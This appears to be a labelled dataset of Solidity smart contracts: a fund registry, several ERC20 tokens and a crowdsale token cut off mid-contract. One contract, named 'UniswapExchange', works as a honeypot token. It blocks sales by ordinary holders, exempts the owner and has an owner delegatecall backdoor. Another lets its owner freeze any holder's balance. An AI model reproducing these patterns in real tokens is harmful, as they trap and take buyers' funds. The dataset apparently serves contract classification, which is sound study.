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pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.7;
contract Proxiable {
function updateCodeAddress(address newAddress) internal {
require(
bytes32(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7) == Proxiable(newAddress).proxiableUUID(),
"Not compatible"
);
assembly {
sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, newAddress)
}
}
function proxiableUUID() public pure returns (bytes32) {
return 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7;
}
}
contract LibraryLockDataLayout {
bool public initialized = false;
}
contract LibraryLock is LibraryLockDataLayout {
modifier delegatedOnly() {
require(initialized == true, "The library is locked. No direct 'call' is allowed");
_;
}
function initialize() internal {
initialized = true;
}
}
contract RegistryDataLayout is LibraryLock {
address public owner;
struct whitelistVotes {
uint32 yesVotes;
uint32 noVotes;
address[] managers;
}
mapping(address => whitelistVotes) public whitelistContract;
mapping(address => bool) public whitelist;
struct queuedContract {
uint256 finalizationBlock;
bool result;
}
mapping(address => queuedContract) public queuedContracts;
address[] public queueList;
using SafeMath for uint32;
using SafeMath for uint256;
address public fundContract = 0x2c9728ad35C1CfB16E3C1B5045bC9BA30F37FAc5;
address public connector = 0x60d70dF1c783b1E5489721c443465684e2756555;
address public devFund = 0xd66A9D2B706e225204F475c9e70A4c09eEa62199;
address public rewardsContract = 0x868f7622F57b62330Db8b282044d7EAf067fAcfe;
address public contractManager;
address public nyanManager;
address public selfManager;
address public nyanVoting;
}
interface usedContract {
function getManagerLimit() external returns(uint32);
function sendFundETH(address _manager) external payable;
function getFundETH(uint256 amount) external;
function returnFundETH() external payable;
function fundLog(address manager, string calldata reason, address recipient) external payable;
function isFundManager(address manager) view external returns(bool);
function checkFundManagerAllowance(address _manager, uint256 ETH) external returns(bool);
function checkManagerAllowance(address _manager, uint256 ETH) external returns(bool);
function adjustFundManagerAllowance(address _manager, uint256 ETH, uint256 profit) external;
function adjustManagerAllowance(address _manager, uint256 ETH, uint256 profit) external;
}
contract Registry is RegistryDataLayout, Proxiable {
constructor() public {
}
function initRegistry(address _nyanManager) public {
require(!initialized);
owner = msg.sender;
initialize();
}
function updateCode(address newCode) public delegatedOnly {
if (owner == address(0)) {
require(msg.sender == contractManager);
} else {
require(msg.sender == owner);
}
updateCodeAddress(newCode);
}
function setContracts(address _contractManager,
address _nyanManager,
address _selfManager,
address _nyanVoting) public {
require(msg.sender == owner);
contractManager = _contractManager;
nyanManager = _nyanManager;
selfManager = _selfManager;
nyanVoting = _nyanVoting;
}
function useFundETH(address manager, uint256 ETH, address recipient) public delegatedOnly payable {
require(whitelist[msg.sender]);
bool canSpend = usedContract(nyanManager).checkFundManagerAllowance(manager, ETH);
require(canSpend);
usedContract(connector).getFundETH(ETH);
usedContract(connector).fundLog(manager, "used ETH for an investment", recipient);
require(whitelist[recipient]);
usedContract(recipient).sendFundETH{value: ETH}(manager);
}
function returnFundETH(address manager, uint256 profit) public delegatedOnly payable {
require(whitelist[msg.sender]);
if (profit > 100) {
rewardsContract.call{value: profit.mul(40).div(100).sub(10)}("");
manager.call{value: profit.mul(20).div(100)}("");
devFund.call{value: profit.mul(10).div(100)}("");
usedContract(connector).returnFundETH{value: msg.value.sub(profit.mul(70).div(100))}();
} else {
usedContract(connector).returnFundETH{value: msg.value}();
}
usedContract(connector).fundLog(manager, "returned ETH from an investment", fundContract);
usedContract(nyanManager).adjustFundManagerAllowance(manager, msg.value, profit);
}
function useManagerETH(address manager, uint256 ETH, address recipient) public delegatedOnly payable {
require(whitelist[msg.sender]);
bool canSpend = usedContract(selfManager).checkManagerAllowance(manager, ETH);
require(canSpend);
usedContract(connector).getFundETH(ETH);
usedContract(connector).fundLog(manager, "used ETH for an investment", recipient);
require(whitelist[recipient]);
usedContract(recipient).sendFundETH{value: ETH}(manager);
}
function returnManagerETH(address manager, uint256 profit) public delegatedOnly payable {
require(whitelist[msg.sender]);
if (profit > 100) {
rewardsContract.call{value: profit.mul(10).div(100).sub(10)}("");
manager.call{value: profit.mul(20).div(100)}("");
usedContract(connector).returnFundETH{value: msg.value.sub(profit.mul(30).div(100))}();
profit = profit.sub(profit.mul(30).div(100));
} else {
usedContract(connector).returnFundETH{value: msg.value}();
}
usedContract(connector).fundLog(manager, "returned ETH from an investment", fundContract);
usedContract(selfManager).adjustManagerAllowance(manager, msg.value, profit);
}
function manageContract(address _contract, address _manager, bool vote) public delegatedOnly {
require(msg.sender == nyanVoting);
require(usedContract(nyanManager).isFundManager(_manager));
bool hasVoted;
for(uint32 i; i < whitelistContract[_contract].managers.length; i++) {
if (whitelistContract[_contract].managers[i] == msg.sender) {
hasVoted = true;
}
}
require(!hasVoted, "You've already voted");
if (vote) {
whitelistContract[_contract].yesVotes = uint32(whitelistContract[_contract].yesVotes.add(1));
} else {
whitelistContract[_contract].noVotes = uint32(whitelistContract[_contract].noVotes.add(1));
}
whitelistContract[_contract].managers.push(msg.sender);
if (whitelistContract[_contract].yesVotes.add(whitelistContract[_contract].noVotes) == usedContract(nyanManager).getManagerLimit()) {
if (whitelistContract[_contract].yesVotes > whitelistContract[_contract].noVotes) {
queueList.push(_contract);
queuedContracts[_contract].finalizationBlock = block.number.add(45500);
queuedContracts[_contract].result = true;
}
if (whitelistContract[_contract].yesVotes < whitelistContract[_contract].noVotes) {
queueList.push(_contract);
queuedContracts[_contract].finalizationBlock = block.number.add(45500);
queuedContracts[_contract].result = false;
}
}
}
function finalizeWhitelist(address _contract) public {
bool isInQueue;
for (uint32 i; i < queueList.length; i++) {
if (queueList[i] == _contract) {
if (queuedContracts[queueList[i]].finalizationBlock < block.number) {
whitelist[_contract] = queuedContracts[queueList[i]].result;
removeFromQueue(i);
return;
}
}
}
}
function removeFromQueue(uint index) internal {
queueList[index] = queueList[queueList.length-1];
delete queueList[queueList.length-1];
queueList.pop();
}
function createWhitelist(address _contract) public {
require(msg.sender == owner);
whitelist[_contract] = true;
}
function checkRegistry(address _contract) public view returns(bool) {
return whitelist[_contract];
}
receive() external payable {
}
} | 0 | 2,500 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,465 |
pragma solidity ^0.4.23;
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
require(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c>=a && c>=b);
return c;
}
}
contract BitgetToken is SafeMath{
address public owner;
uint8 public decimals = 18;
uint256 public totalSupply;
string public name;
string public symbol;
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
constructor(
uint256 initSupply,
string tokenName,
string tokenSymbol,
uint8 decimalUnits) public {
owner = msg.sender;
totalSupply = initSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function totalSupply() public view returns (uint256){
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return balanceOf[_owner];
}
function freezeOf(address _owner) public view returns (uint256) {
return freezeOf[_owner];
}
function transfer(address _to, uint256 _value) public {
require(_to != 0x0);
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[msg.sender] = SafeMath.sub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.add(balanceOf[_to], _value);
emit Transfer(msg.sender, _to, _value);
}
function burn(uint256 _value) public {
require(owner == msg.sender);
require(balanceOf[msg.sender] >= _value);
require(_value > 0);
balanceOf[msg.sender] = SafeMath.sub(balanceOf[msg.sender], _value);
totalSupply = SafeMath.sub(totalSupply,_value);
emit Burn(msg.sender, _value);
}
function freeze(address _addr, uint256 _value) public {
require(owner == msg.sender);
require(balanceOf[_addr] >= _value);
require(_value > 0);
balanceOf[_addr] = SafeMath.sub(balanceOf[_addr], _value);
freezeOf[_addr] = SafeMath.add(freezeOf[_addr], _value);
emit Freeze(_addr, _value);
}
function unfreeze(address _addr, uint256 _value) public {
require(owner == msg.sender);
require(freezeOf[_addr] >= _value);
require(_value > 0);
freezeOf[_addr] = SafeMath.sub(freezeOf[_addr], _value);
balanceOf[_addr] = SafeMath.add(balanceOf[_addr], _value);
emit Unfreeze(_addr, _value);
}
function withdrawEther(uint256 amount) public {
require(owner == msg.sender);
owner.transfer(amount);
}
function() payable public {
}
} | 1 | 3,492 |
pragma solidity ^0.4.21;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
emit Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "WM PROFESSIONAL";
string constant TOKEN_SYMBOL = "WMPRO";
bool constant PAUSED = false;
address constant TARGET_USER = 0xf91189AE847537bdb3a12506F7b58492A4308212;
uint constant START_TIME = 1531692000;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal view returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
